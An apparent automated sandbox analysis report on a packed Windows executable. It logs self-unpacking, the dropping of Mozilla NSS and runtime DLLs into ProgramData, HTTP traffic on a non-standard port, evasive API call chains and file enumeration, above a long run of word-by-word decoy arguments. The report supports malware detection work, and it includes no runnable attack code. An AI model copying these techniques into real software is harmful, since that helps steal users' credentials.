Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: freebl3.pdb source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr
Source:	Binary string: mozglue.pdbP source: mozglue.dll.1.dr
Source:	Binary string: freebl3.pdbp source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr
Source:	Binary string: nss3.pdb@ source: nss3.dll.1.dr
Source:	Binary string: C:\lesuzu\bicavujepoc rikuwevokociku_bonotalehimuk pikajune\xo.pdb source: file.exe
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr
Source:	Binary string: 1C:\lesuzu\bicavujepoc rikuwevokociku_bonotalehimuk pikajune\xo.pdb source: file.exe
Source:	Binary string: nss3.pdb source: nss3.dll.1.dr
Source:	Binary string: mozglue.pdb source: mozglue.dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.1.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 1.2.file.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 1.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00418110 GetEnvironmentVariableA,_memset,lstrcat,lstrcat,lstrcat,SetEnvironmentVariableA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: initial sample

Static PE information: section name: .text entropy: 7.723744016228705

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00424B20 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00401070 GetSystemInfo,

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00412170 _memset,lstrcat,wsprintfA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004171C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,_memset,lstrcat,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,_memset,lstrcat,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00412450 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00412690 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,wsprintfA,PathMatchSpecA,_memset,lstrcat,lstrcat,CopyFileA,DeleteFileA,_memset,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0041B7E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,_memset,wsprintfA,_memset,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,
